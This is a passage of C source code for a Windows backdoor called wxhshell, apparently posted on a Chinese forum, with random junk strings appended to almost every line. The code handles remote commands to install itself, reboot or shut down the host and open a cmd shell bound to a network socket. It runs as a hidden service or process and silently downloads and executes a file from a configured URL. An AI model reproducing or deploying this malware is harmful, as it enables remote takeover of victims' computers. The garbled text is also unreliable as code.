  else { <f{`}drp/  
@$} \S  
    switch(cmd[0]) { l 8us6  
  .h^Ld,Chj  
  // 帮助 &?sjeC_  
  case '?': { Qh%vh ;|^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J&1N8Wk)  
    break; 4GA-dtyV&  
  } Xb 1^Oj  
  // 安装 |ema-pRC  
  case 'i': { %t.IxMY  
    if(Install()) xmd$Jol^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LgKEg90w(  
    else ^q r[?ky]&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 98nLj9  
    break; |]b/5s;>  
    } O4mWsr  
  // 卸载 aKr4E3`  
  case 'r': { k-0e#"B  
    if(Uninstall()) NH6!|T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u)>*U'bM  
    else ?KW?] o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sRI8znus  
    break; <rxem(PPu  
    } oC>~r 1.j  
  // 显示 wxhshell 所在路径 `&JA7UD>  
  case 'p': { <-7Ha_#  
    char svExeFile[MAX_PATH]; jZ yh   
    strcpy(svExeFile,"\n\r"); C,.{y`s'  
      strcat(svExeFile,ExeFile); THZ3%o=X  
        send(wsh,svExeFile,strlen(svExeFile),0); q\Z1-sl~s  
    break; "E#%x{d  
    } ).b+S>k  
  // 重启 V^5 t~)#46  
  case 'b': { %)]RM/e8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #}?$mxME*  
    if(Boot(REBOOT)) _~"3 LB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |3@]5f&  
    else { )BDi2: u  
    closesocket(wsh); ),|bP`V  
    ExitThread(0); % VZ\4+8S  
    } H& +s&F{%  
    break; ?c*d z{  
    } B[h9epU]K  
  // 关机 -`o:W?V$u  
  case 'd': { Stpho4+/y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }o.ZCACYg  
    if(Boot(SHUTDOWN)) e{/\znBS%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hG]20n2  
    else { E u   
    closesocket(wsh); C:cu1Y9  
    ExitThread(0); 1??RX}8[L+  
    } zwS'AN'A  
    break; TB\CSXb  
    } X:5*LB\/v  
  // 获取shell x&wUPo{  
  case 's': { DJ.Ct4  
    CmdShell(wsh); j!/(9*\  
    closesocket(wsh); k:.c(_2M  
    ExitThread(0); Sl#XJ0 g  
    break; :OM>z4mQ  
  } 3z<t#  
  // 退出 q ^?{6}sy  
  case 'x': { %/y/,yd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rO~D{)Nu  
    CloseIt(wsh); I/l]Yv!  
    break; CpXv?uU   
    } y;H 3g#  
  // 离开  xMU)  
  case 'q': { 6SwHl_2%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sAxn ; `  
    closesocket(wsh); -eya$C  
    WSACleanup(); +?p ;,Z%5  
    exit(1); :?TV6M  
    break; Q=[&~^ Y)  
        } mon(A|$|j  
  } -?[:Zn~$a  
  } .B@;ch,  
>jcNo3S  
  // 提示信息 = ~yh[@R)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  2r[,w]  
} V2*b f`/V  
  } R[z6 c )  
lk}x;4]Z  
  return; *KM CU m  
} ``={FaV~m  
X qh+  
// shell模块句柄 D_{J:Hb  
int CmdShell(SOCKET sock) `is6\RH  
{ SWu=n1J.?H  
STARTUPINFO si; q+z,{K  
ZeroMemory(&si,sizeof(si)); k~H-:@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p|Ln;aYc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W[YtNL;  
PROCESS_INFORMATION ProcessInfo; 6^ ~& sA  
char cmdline[]="cmd"; C][`Dk\D{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^E9@L ??  
  return 0; vUW!  
} K3jno+U&  
a*=e 3nS  
// 自身启动模式 |YH1q1l  
int StartFromService(void) -n6C~Yx  
{ Jyd%!v  
typedef struct 1{A 4_/R  
{ D%Wr/6X  
  DWORD ExitStatus; 8!1o,=I$  
  DWORD PebBaseAddress; sh0O~%]g  
  DWORD AffinityMask; 9Y7 tI3  
  DWORD BasePriority; XOxm<3gXn  
  ULONG UniqueProcessId; 3M^ /   
  ULONG InheritedFromUniqueProcessId; @wpm;]  
}   PROCESS_BASIC_INFORMATION; ioZ2J"s  
mCg5-E~;  
PROCNTQSIP NtQueryInformationProcess; /OViqZ;9  
)sW1a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <{'':/tXI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LG;xZQx'  
0ya_[\  
  HANDLE             hProcess; ~Su>^T(?-  
  PROCESS_BASIC_INFORMATION pbi; \A':}<Rj  
wTOB'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r&^4L  
  if(NULL == hInst ) return 0; 6MZfoR  
y1P?A]v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !j\  yt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3wD6,x-e   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T1D7H~ \lG  
t0?\5q  
  if (!NtQueryInformationProcess) return 0; iHTxD1 D+H  
r0_3`; H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^5xY&1j  
  if(!hProcess) return 0; 8^+Q n/b_%  
F+9|D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?"J5~_U.  
+>{{91mN  
  CloseHandle(hProcess); O(CUwk  
,OG sx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sA:0b5_a  
if(hProcess==NULL) return 0;  8DyE  
d[jxU/.p;  
HMODULE hMod; CI ~+(+q  
char procName[255]; u2o6EU`  
unsigned long cbNeeded; p-M QI }  
$7,n8ddRy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r*y4Vx7  
~G ,n>  
  CloseHandle(hProcess); aZ- )w  
v"\Q/5p  
if(strstr(procName,"services")) return 1; // 以服务启动 =f?|f  
F~z4T/TN%G  
  return 0; // 注册表启动 SkVW8n*s  
} iwrS>Sm  
0t'WM=W<!8  
// 主模块 [Nsv]Yz  
int StartWxhshell(LPSTR lpCmdLine) mam|aRzd  
{ NgQ {'H[Y  
  SOCKET wsl; O~Pb u[C  
BOOL val=TRUE; Dtt[a  
  int port=0;  E*i <P  
  struct sockaddr_in door; px" .pYr0  
"=N[g  
  if(wscfg.ws_autoins) Install(); cT-XF  
t@.M;b8  
port=atoi(lpCmdLine); e%u1O -*  
WR%x4\,d#  
if(port<=0) port=wscfg.ws_port; 0Evq</  
fMP$o3;  
  WSADATA data; ="JLUq*]s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !*'uPw:l2  
Sc`W'q^X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Si.3Je[q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d>VerZZU  
  door.sin_family = AF_INET; ,FlF.pt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #iJ+}EW _  
  door.sin_port = htons(port); XN'x`%!*3#  
?1JS*LQ$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DgGGrV`  
closesocket(wsl); now\-XrS  
return 1; a}c.]zm]  
} @OV\raUO&V  
9Qst5n\Z  
  if(listen(wsl,2) == INVALID_SOCKET) { gk1I1)p  
closesocket(wsl); YP5V~-O/  
return 1; .r[kNh@ b%  
} 8fY1~\G:\  
  Wxhshell(wsl); [f!sBJ!  
  WSACleanup(); OjcxD5"v9  
=I-SQI8  
return 0;  :RBp  
NffZttN  
} {|9x*I  
q$Gf9&ZO  
// 以NT服务方式启动 MR}GxI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -NGY+1  
{ i?.MD+f8  
DWORD   status = 0; h%|Jkx!v-t  
  DWORD   specificError = 0xfffffff; -U`]/  
>j%HVRW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2WE_NEpJI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \=P+]9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]k-<[Z;I,  
  serviceStatus.dwWin32ExitCode     = 0; 1Y'9|+y+  
  serviceStatus.dwServiceSpecificExitCode = 0; (&npr96f  
  serviceStatus.dwCheckPoint       = 0; ""|vhgP  
  serviceStatus.dwWaitHint       = 0; 8vjaQ5  
D~P I_*h.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fo;Ftf0  
  if (hServiceStatusHandle==0) return; no~hYy W2  
5|._K(M  
status = GetLastError(); f5.rzrU  
  if (status!=NO_ERROR) 60ccQ7=  
{ #T &z`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qv>?xKSm  
    serviceStatus.dwCheckPoint       = 0; wxYB-Wh<  
    serviceStatus.dwWaitHint       = 0; $[x2L s~  
    serviceStatus.dwWin32ExitCode     = status; zZ@]Kq;.s  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2y s'q !  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); By%mJ%$~  
    return; WqlX'tA  
  }  ky0Fm W  
J5b>mTvb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;'CWAJK  
  serviceStatus.dwCheckPoint       = 0; Ou/JN+2A  
  serviceStatus.dwWaitHint       = 0; //9Ro"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $iu{u|VSu  
} x%Ivd  
]k &Y )  
// 处理NT服务事件,比如:启动、停止 +nU"P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J{<,V\t)  
{ ;<i`6e  
switch(fdwControl) c'ExZ)RJ  
{ J\VG/)E  
case SERVICE_CONTROL_STOP: ^LO=&Cq  
  serviceStatus.dwWin32ExitCode = 0; {y-7xg~}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~?T*D*  
  serviceStatus.dwCheckPoint   = 0; #z$FxZT<b  
  serviceStatus.dwWaitHint     = 0; HIM>%   
  { >*rH Nf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A14}  
  } Hyx%FN=  
  return; &.~Xl:lq  
case SERVICE_CONTROL_PAUSE: s4h3mypw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UlF=,0P  
  break; 9U$n;uA  
case SERVICE_CONTROL_CONTINUE: j{PuZ^v1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rWzw7T~  
  break; 1<g,1TR  
case SERVICE_CONTROL_INTERROGATE: aMI\gCB/  
  break; *E lR  
}; .b'hVOs{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Q320}]{  
} DWT4D)C,U  
OJ0Dw*K<  
// 标准应用程序主函数 KFd !wZ @e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7[aSP5e>T  
{ k=L(C^VP  
eTVI.B@p  
// 获取操作系统版本 iF:`rIC  
OsIsNt=GetOsVer(); BCN<l +u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QJ1_LJ4)a  
u xif-5  
  // 从命令行安装 /4w"akB|P  
  if(strpbrk(lpCmdLine,"iI")) Install(); 57W4E{A  
Hp`Mp)1s  
  // 下载执行文件 9;,_Q q  
if(wscfg.ws_downexe) { E5@U~|V[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g_{hB5N](7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ewg5s?2|  
} A#t#c*  
e+J|se4L5  
if(!OsIsNt) { cu&tdg^q  
// 如果时win9x,隐藏进程并且设置为注册表启动 --Dd'  
HideProc(); T 9lk&7W  
StartWxhshell(lpCmdLine); V$e\84<  
} :$eg{IXC"  
else haj\Dm  
  if(StartFromService()) G+Vlaa/7  
  // 以服务方式启动 O%:EPdoU  
  StartServiceCtrlDispatcher(DispatchTable); 1~X~"M  
else )<W6cDx'H+  
  // 普通方式启动 F=}-ngx8&  
  StartWxhshell(lpCmdLine); nU]4)t_o\  
 =FZt  
return 0; eq>E<X#<  
}
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只看该作者 1 发表于: 2006-10-10
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